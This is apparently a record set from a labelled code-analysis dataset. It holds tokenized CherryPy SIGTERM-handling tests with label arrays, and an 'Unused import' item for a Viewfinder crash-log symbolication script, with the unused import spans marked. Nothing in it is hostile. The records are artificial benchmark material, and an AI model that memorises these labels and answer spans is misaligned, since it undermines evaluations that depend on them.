"\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Shut", " ", "down", " ", "the", " ", "spawne", "d", " ", "process_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Page_", "(_", "\"/", "exit", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Signal", "Hand", "ling", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "SIGTERM_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "SIG", "TERM", " ", "shou", "ld", " ", "shut", " ", "down", " ", "the", " ", "server", " ", "whe", "ther", " ", "daemon", "ize", "d", " ", "or", " ", "not", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "signal_", "import_", "SIGTERM_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "skip_", "(_", "\"", "skip", "ped", " ", "(", "no", " ", "SIG", "TERM", ")", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "os_", "import_", "kill_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "skip_", "(_", "\"", "skip", "ped", " ", "(", "no", " ", "os", ".", "kill", ")", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Spawn", " ", "a", " ", "normal", ",", " ", "und", "ae", "mon", "ize", "d", " ", "process", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "=_", "helper_", "._", "CPP", "rocess", "_", "(_", "ssl_", "=_", "(_", "self_", "._", "scheme_", "._", "lower_", "(_", ")_", "==_", "'", "https", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "write", "\\u", "conf_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "extra_", "=_", "'", "test\\u", "case", "\\u", "name", ":", " ", "\"", "test\\u", "SIG", "TERM", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "start_", "(_", "imports_", "=_", "'", "cherr", "yp", "y", ".", "test", ".\\u", "test\\u", "state", "s", "\\u", "demo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sen", "d", " ", "a", " ", "SIGTERM_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "kill_", "(_", "p_", "._", "get", "\\u", "pid_", "(_", ")_", ",_", "SIGTERM_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "mig", "ht", " ", "hang", " ", "if", " ", "thing", "s", " ", "are", "n", "'", "t", " ", "working", " ", "right", ",", " ", "but", " ", "me", "h", "._", "\\u\\u\\uNL\\u\\u\\u_", "p_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "os_", "._", "name_", "in_", "[_", "'", "posix", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Spawn", " ", "a", " ", "daemon", "ize", "d", " ", "process", " ", "and", " ", "test", " ", "again", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "helper_", "._", "CPP", "rocess", "_", "(_", "ssl_", "=_", "(_", "self_", "._", "scheme_", "._", "lower_", "(_", ")_", "==_", "'", "https", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wait_", "=_", "True_", ",_", "daemon", "ize_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "write", "\\u", "conf_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "extra_", "=_", "'", "test\\u", "case", "\\u", "name", ":", " ", "\"", "test\\u", "SIG", "TERM", "\\u", "2", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "start_", "(_", "imports_", "=_", "'", "cherr", "yp", "y", ".", "test", ".\\u", "test\\u", "state", "s", "\\u", "demo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sen", "d", " ", "a", " ", "SIGTERM_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "kill_", "(_", "p_", "._", "get", "\\u", "pid_", "(_", ")_", ",_", "SIGTERM_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "mig", "ht", " ", "hang", " ", "if", " ", "thing", "s", " ", "are", "n", "'", "t", " ", "working", " ", "right", ",", " ", "but", " ", "me", "h", "._", "\\u\\u\\uNL\\u\\u\\u_", "p_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Signal", "Hand", "ling", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "signal", "\\u", "handler", "\\u", "unsubscribe_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "signal_", "import_", "SIGTERM_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "skip_", "(_", "\"", "skip", "ped", " ", "(", "no", " ", "SIG", "TERM", ")", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "os_", "import_", "kill_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "skip_", "(_", "\"", "skip", "ped", " ", "(", "no", " ", "os", ".", "kill", ")", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Spawn", " ", "a", " ", "normal", ",", " ", "und", "ae", "mon", "ize", "d", " ", "process", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "=_", "helper_", "._", "CPP", "rocess", "_", "(_", "ssl_", "=_", "(_", "self_", "._", "scheme_", "._", "lower_", "(_", ")_", "==_", "'", "https", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "write", "\\u", "conf_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "extra_", "=_", "\"\"\"", "uns", "ubs", "ig", ":", " ", "Tru", "e", "\\", "10", ";", "test\\u", "case", "\\u", "name", ":", " ", "\"", "test\\u", "signal", "\\u", "handler", "\\u", "unsubscribe", "\"", "\\", "10", ";\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "start_", "(_", "imports_", "=_", "'", "cherr", "yp", "y", ".", "test", ".\\u", "test\\u", "state", "s", "\\u", "demo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sen", "d", " ", "a", " ", "SIGTERM_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "kill_", "(_", "p_", "._", "get", "\\u", "pid_", "(_", ")_", ",_", "SIGTERM_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "mig", "ht", " ", "hang", " ", "if", " ", "thing", "s", " ", "are", "n", "'", "t", " ", "working", " ", "right", ",", " ", "but", " ", "me", "h", "._", "\\u\\u\\uNL\\u\\u\\u_", "p_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Assert", " ", "the", " ", "old", " ", "handler", " ", "ran", "._", "\\u\\u\\uNL\\u\\u\\u_", "target", "\\u", "line_", "=_", "open_", "(_", "p_", "._", "error", "\\u", "log_", ",_", "'", "rb", "'_", ")_", "._", "readlines_", "(_", ")_", "[_", "-_", "10_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "nto", "b_", "(_", "\"", "I", " ", "am", " ", "an", " ", "old", " ", "SIG", "TERM", " ", "handler", ".\"_", ")_", "in_", "target", "\\u", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Old", " ", "SIG", "TERM", " ", "handler", " ", "did", " ", "not", " ", "run", ".\\\\", "n", "%", "r", "\"_", "%_", "target", "\\u", "line_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
viewfinderco/viewfinder/backend/logs/symbolicate_user_crashes.py
[ { "content": "# Copyright 2013 Viewfinder Inc. All Rights Reserved.\n\n\"\"\"Symbolicate user crash logs.\n\nThis looks for unprocessed crash logs in s3://serverdata/merged_user_crashed/, symbolicates them, and sends a\nsummary email.\n\nREQUIREMENTS:\n- run on OSX for dependencies (mdfind, dwarfdump, atos)\n- have the build dSyms on the local filesystem (default is ~/Dropbox/viewfinder/{dSYMs,dSYMs.uuid}\n\nTODO: it would be great if we had a way to dump all symbols, allowing us to run this anywhere.\n\nThis grabs the 'client_logs_analysis' dynamodb lock to ensure we do not run at the same time as get_client_logs.py.\n\nUsage:\n# Symbolicate new crash logs and email summary\npython -m viewfinder.backend.logs.symbolicate_user_crashes --devbox\n# Don't write symbolicated files to S3 and log the summary email instead of sending.\npython -m viewfinder.backend.logs.symbolicate_user_crashes --devbox --dry_run=True --send_email=False\n\nOther options:\n-require_lock: default=True: hold the job:client_logs_analysis lock during processing.\n-send_email: default=True: email crash summaries (if any)\n-email: recipient for summary emails\n-show_at_most: default=2: show at most this many full crash logs in summary email\n\n\"\"\"\n\n__author__ = '[email protected] (Marc Berhault)'\n\nimport cStringIO\nimport json\nimport logging\nimport numpy\nimport os\nimport re\nimport sys\nimport time\nimport traceback\n\nfrom collections import defaultdict\nfrom tornado import gen, options\nfrom viewfinder.backend.base import constants, main, statistics, util\nfrom viewfinder.backend.base.dotdict import DotDict\nfrom viewfinder.backend.db import db_client\nfrom viewfinder.backend.db.job import Job\nfrom viewfinder.backend.logs import logs_util\nfrom viewfinder.backend.services.email_mgr import EmailManager, LoggingEmailManager, SendGridEmailManager\nfrom viewfinder.backend.storage.object_store import ObjectStore\nfrom viewfinder.backend.storage import store_utils\nfrom viewfinder.clients.ios.scripts.symbolicator import Symbolicator\n\noptions.define('dry_run', default=True, help='Do not update dynamodb metrics table')\noptions.define('require_lock', type=bool, default=True,\n help='attempt to grab the job:client_logs_analysis lock before running. Exit if acquire fails.')\noptions.define('send_email', type=bool, default=True,\n help='Email crash summary')\noptions.define('email', default='[email protected]', help='Email address to notify')\noptions.define('show_at_most', type=int, default=100,\n help='Show at most this many symbolicated crashes in email summary')\noptions.define('s3_url_expiration_days', default=14, help='Time to live in days for S3 URLs')\n\n\n\n\n\n\n\nif __name__ == '__main__':\n sys.exit(main.InitAndRun(Start))\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@gen.engine\ndef SendEmail(title, text, callback):\n args = {\n 'from': '[email protected]',\n 'fromname': 'Symbolicator',\n 'to': options.options.email,\n 'subject': title,\n 'text': text\n }\n yield gen.Task(EmailManager.Instance().SendEmail, description=title, **args)\n callback()", "metadata": "root.SendEmail", "header": "['module', '___EOS___']", "index": 63 }, { "content": "@gen.engine\ndef RunOnce(client, callback):\n # Find all crash files.\n merged_store = ObjectStore.GetInstance(logs_util.UserCrashLogsPaths.MERGED_LOGS_BUCKET)\n files = yield gen.Task(store_utils.ListAllKeys, merged_store, prefix='merged_user_crashes')\n\n crash_files = set()\n symbolicated_files = set()\n for f in files:\n if f.endswith('.crash') or f.endswith('.crash.gz'):\n crash_files.add(f)\n elif f.endswith('.crash.symbol') or f.endswith('.crash.gz.symbol'):\n # Strip '.symbol'.\n symbolicated_files.add(f[:-7])\n\n missing = crash_files.difference(symbolicated_files)\n\n \"\"\"\n A sample list of files to test with. Should probably go away in favor of cmdline.\n missing = [\n 'merged_user_crashes/8339/2013-07-25/dev-18194-01-17-14.918-2.0.1.61.crash',\n 'merged_user_crashes/7872/2013-07-24/dev-17246-17-46-07.277-2.0.1.61.crash',\n 'merged_user_crashes/8246/2013-07-25/dev-17947-00-07-59.215-2.0.1.61.crash',\n 'merged_user_crashes/8246/2013-07-25/dev-17947-00-08-17.822-2.0.1.61.crash',\n 'merged_user_crashes/8342/2013-07-25/dev-18136-00-58-09.061-2.0.1.61.crash',\n 'merged_user_crashes/2286/2013-07-24/dev-17163-15-19-11.778-2.1.0.70.dev.jailbroken.crash',\n 'merged_user_crashes/8768/2013-07-25/dev-18941-06-04-18.591-2.0.2.69.crash',\n 'merged_user_crashes/8339/2013-07-25/dev-18194-01-18-17.613-2.0.1.61.crash',\n 'merged_user_crashes/8074/2013-07-24/dev-17645-23-19-33.700-2.0.1.61.crash',\n 'merged_user_crashes/8320/2013-07-25/dev-18096-01-31-49.906-2.0.1.61.crash',\n 'merged_user_crashes/8246/2013-07-25/dev-17947-00-09-11.781-2.0.1.61.crash',\n 'merged_user_crashes/8751/2013-07-25/dev-18910-05-54-43.572-2.0.2.69.crash',\n 'merged_user_crashes/8246/2013-07-25/dev-17947-00-09-19.120-2.0.1.61.crash',\n 'merged_user_crashes/8341/2013-07-25/dev-18134-00-46-50.904-2.0.1.61.crash',\n 'merged_user_crashes/8316/2013-07-25/dev-18080-02-14-49.269-2.0.1.61.crash',\n 'merged_user_crashes/8743/2013-07-25/dev-18898-05-40-50.450-2.0.1.61.crash',\n 'merged_user_crashes/8074/2013-07-24/dev-17645-23-12-56.844-2.0.1.61.crash',\n 'merged_user_crashes/2286/2013-07-24/dev-17163-15-19-20.884-2.1.0.70.dev.jailbroken.crash',\n 'merged_user_crashes/8093/2013-07-24/dev-17650-23-29-34.198-2.0.1.61.crash',\n 'merged_user_crashes/8339/2013-07-25/dev-18194-01-17-40.123-2.0.1.61.crash',\n 'merged_user_crashes/8074/2013-07-24/dev-17645-23-19-41.996-2.0.1.61.crash'\n ]\n \"\"\"\n\n logging.info('Found %d crash logs, %d missing: %r' % (len(crash_files), len(missing), missing))\n if not missing:\n callback()\n return\n\n missing_crashes = sorted(list(missing))\n processed_crashes = {}\n failures = {}\n for f in missing_crashes:\n try:\n # We could encounter any number of failures in get, symbolicate, and put.\n contents = yield gen.Task(merged_store.Get, f)\n # Is there a single command to do this?\n lines = [l + '\\n' for l in contents.split('\\n')]\n sym = Symbolicator()\n sym.process_one_file(lines)\n\n newfile = f + '.symbol'\n if not options.options.dry_run:\n yield gen.Task(merged_store.Put, newfile, sym.FullOutput())\n logging.info('Wrote %d bytes to %s' % (len(sym.FullOutput()), newfile))\n\n # We write the full symbolicated file to S3, but the summary email only includes\n # the summary: preamble + crashed thread backtrace.\n out_dict = sym.OutputDict()\n out_dict['filename'] = newfile\n processed_crashes[newfile] = out_dict\n except:\n msg = traceback.format_exc()\n logging.error('Failed to process %s: %s' % (f, msg))\n failures[f] = msg\n\n logging.info('Successfully processed crashes: %r' % processed_crashes.keys())\n logging.info('Symbolicate failures: %r' % failures)\n # Generate the email. Keys for 'processed_crashes' are the final filenames (with .symbol).\n # For 'failures', keys are the non-symbolicated filenames.\n title = '%d new client crashes' % len(missing_crashes)\n text = title + '\\n'\n\n def _S3URL(filename):\n return merged_store.GenerateUrl(filename,\n expires_in=constants.SECONDS_PER_DAY * options.options.s3_url_expiration_days,\n content_type='text/plain')\n\n if failures:\n title += ' (%d failed during processing)' % len(failures)\n text += '\\nProcessing failures: %d\\n' % len(failures)\n for f, tb in failures.iteritems():\n text += '--------------------------\\n'\n text += 'Non-symbolicated file: %s\\n%s\\n' % (_S3URL(f), tb)\n\n if processed_crashes:\n deduped_crashes = defaultdict(list)\n for v in processed_crashes.values():\n deduped_crashes[v['crashed_thread_backtrace']].append(v)\n text += '\\n%d symbolicated crashes, %d after deduping\\n\\n' % \\\n (len(processed_crashes), len(deduped_crashes))\n\n for crash_set in deduped_crashes.values():\n text += '--------------------------\\n'\n text += '%d crashes after deduping. Full symbolicated files:\\n' % len(crash_set)\n for c in crash_set:\n text += '%s\\n' % _S3URL(c['filename'])\n text += '\\nFirst crash:\\n%s%s%s\\n' % (c['preamble'], c['crashed_thread_title'],\n c['crashed_thread_backtrace'])\n\n\n yield gen.Task(SendEmail, title, text)\n callback()", "metadata": "root.RunOnce", "header": "['module', '___EOS___']", "index": 76 }, { "content": "@gen.engine\ndef Start(callback):\n assert sys.platform == 'darwin', 'This script can only run on OSX. You are using %s' % sys.platform\n\n \"\"\"Grab a lock on job:client_logs_analysis and call RunOnce.\"\"\"\n client = db_client.DBClient.Instance()\n job = Job(client, 'client_logs_analysis')\n\n if options.options.send_email:\n # When running on devbox, this prompts for the passphrase. Skip if not sending email.\n EmailManager.SetInstance(SendGridEmailManager())\n else:\n EmailManager.SetInstance(LoggingEmailManager())\n\n if options.options.require_lock:\n got_lock = yield gen.Task(job.AcquireLock)\n if got_lock == False:\n logging.warning('Failed to acquire job lock: exiting.')\n callback()\n return\n\n # We never call job.Start() since we don't want a summary status written to the DB, just the lock.\n try:\n yield gen.Task(RunOnce, client)\n except:\n logging.error(traceback.format_exc())\n finally:\n yield gen.Task(job.ReleaseLock)\n\n callback()", "metadata": "root.Start", "header": "['module', '___EOS___']", "index": 191 } ]
[ { "span": "import cStringIO", "start_line": 31, "start_column": 0, "end_line": 31, "end_column": 16 }, { "span": "import json", "start_line": 32, "start_column": 0, "end_line": 32, "end_column": 11 }, { "span": "import numpy", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 12 }, { "span": "import os", "start_line": 35, "start_column": 0, "end_line": 35, "end_column": 9 }, { "span": "import re", "start_line": 36, "start_column": 0, "end_line": 36, "end_column": 9 }, { "span": "import time", "start_line": 38, "start_column": 0, "end_line": 38, "end_column": 11 }, { "span": "from viewfinder.backend.base import constants, main, statistics, util", "start_line": 43, "start_column": 0, "end_line": 43, "end_column": 69 }, { "span": "from viewfinder.backend.base.dotdict import DotDict", "start_line": 44, "start_column": 0, "end_line": 44, "end_column": 51 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2013", " ", "View", "finde", "r", " ", "Inc", ".", " ", "All", " ", "Rig", "hts", " ", "Reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Symboli", "cate", " ", "user", " ", "crash", " ", "logs", ".", "\\", "10", ";", "\\", "10", ";", "Thi", "s", " ", "look", "s", " ", "for", " ", "unprocess", "ed", " ", "crash", " ", "logs", " ", "in", " ", "s3", "://", "server", "data", "/", "merge", "d\\u", "user", "\\u", "crash", "ed", "/", ",", " ", "symbolic", "ates", " ", "them", ",", " ", "and", " ", "send", "s", " ", "a", "\\", "10", ";", "summar", "y", " ", "email", ".", "\\", "10", ";", "\\", "10", ";", "REQUIRE", "MENT", "S", ":", "\\", "10", ";", "-", " ", "run", " ", "on", " ", "OSX", " ", "for", " ", "dependen", "cies", " ", "(", "md", "find", ",", " ", "dwa", "rf", "dump", ",", " ", "ato", "s", ")", "\\", "10", ";", "-", " ", "have", " ", "the", " ", "build", " ", "d", "Sym", "s", " ", "on", " ", "the", " ", "local", " ", "filesystem", " ", "(", "default", " ", "is", " ", "~", "/", "Drop", "box", "/", "view", "finde", "r", "/{", "d", "SYM", "s", ",", "d", "SYM", "s", ".", "uuid", "}", "\\", "10", ";", "\\", "10", ";", "TOD", "O", ":", " ", "it", " ", "wou", "ld", " ", "be", " ", "great", " ", "if", " ", "we", " ", "had", " ", "a", " ", "way", " ", "to", " ", "dump", " ", "all", " ", "symbols", ",", " ", "allow", "ing", " ", "us", " ", "to", " ", "run", " ", "this", " ", "any", "where", ".", "\\", "10", ";", "\\", "10", ";", "Thi", "s", " ", "gra", "bs", " ", "the", " ", "'", "client", "\\u", "logs", "\\u", "analys", "is", "'", " ", "dynamodb", " ", "lock", " ", "to", " ", "ensure", " ", "we", " ", "do", " ", "not", " ", "run", " ", "at", " ", "the", " ", "same", " ", "time", " ", "as", " ", "get", "\\u", "client", "\\u", "logs", ".", "py", ".", "\\", "10", ";", "\\", "10", ";", "Us", "age", ":", "\\", "10", ";", "#", " ", "Symboli", "cate", " ", "new", " ", "crash", " ", "logs", " ", "and", " ", "email", " ", "summar", "y", "\\", "10", ";", "python", " ", "-", "m", " ", "view", "finde", "r", ".", "back", "end", ".", "logs", ".", "symbolic", "ate", "\\u", "user", "\\u", "crashes", " ", "--", "dev", "box", "\\", "10", ";", "#", " ", "Don", "'", "t", " ", "write", " ", "symbolic", "ated", " ", "files", " ", "to", " ", "S", "3", " ", "and", " ", "log", " ", "the", " ", "summar", "y", " ", "email", " ", "inst", "ead", " ", "of", " ", "sendin", "g", ".", "\\", "10", ";", "python", " ", "-", "m", " ", "view", "finde", "r", ".", "back", "end", ".", "logs", ".", "symbolic", "ate", "\\u", "user", "\\u", "crashes", " ", "--", "dev", "box", " ", "--", "dry", "\\u", "run", "=", "Tru", "e", " ", "--", "send", "\\u", "email", "=", "Fal", "se", "\\", "10", ";", "\\", "10", ";", "Ot", "her", " ", "options", ":", "\\", "10", ";", "-", "require", "\\u", "lock", ":", " ", "default", "=", "Tru", "e", ":", " ", "hold", " ", "the", " ", "job", ":", "client", "\\u", "logs", "\\u", "analys", "is", " ", "lock", " ", "dur", "ing", " ", "process", "ing", ".", "\\", "10", ";", "-", "send", "\\u", "email", ":", " ", "default", "=", "Tru", "e", ":", " ", "email", " ", "crash", " ", "summar", "ies", " ", "(", "if", " ", "any", ")", "\\", "10", ";", "-", "email", ":", " ", "recip", "ient", " ", "for", " ", "summar", "y", " ", "email", "s", "\\", "10", ";", "-", "show", "\\u", "at", "\\u", "most", ":", " ", "default", "=", "2", ":", " ", "show", " ", "at", " ", "most", " ", "this", " ", "many", " ", "full", " ", "crash", " ", "logs", " ", "in", " ", "summar", "y", " ", "email", "\\", "10", ";", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "author\\u\\u_", "=_", "'", "marc", "@", "email", "scrub", "bed", ".", "com", " ", "(", "Marc", " ", "Ber", "hau", "lt", ")'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "c", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "collections_", "import_", "defaultdict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tornado_", "import_", "gen_", ",_", "options_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "import_", "constants_", ",_", "main_", ",_", "statistics_", ",_", "util_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "._", "dot", "dict_", "import_", "Dot", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "import_", "db", "\\u", "client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "job_", "import_", "Job_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "logs_", "import_", "logs", "\\u", "util_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "services_", "._", "email", "\\u", "mgr_", "import_", "Ema", "il", "Manager_", ",_", "Log", "ging", "Ema", "il", "Manager_", ",_", "Sen", "d", "Grid", "Ema", "il", "Manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "storage_", "._", "object\\u", "store_", "import_", "Object", "Store_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "storage_", "import_", "store", "\\u", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "clients_", "._", "ios_", "._", "scripts_", "._", "symbolic", "ator_", "import_", "Symboli", "cator", "_", 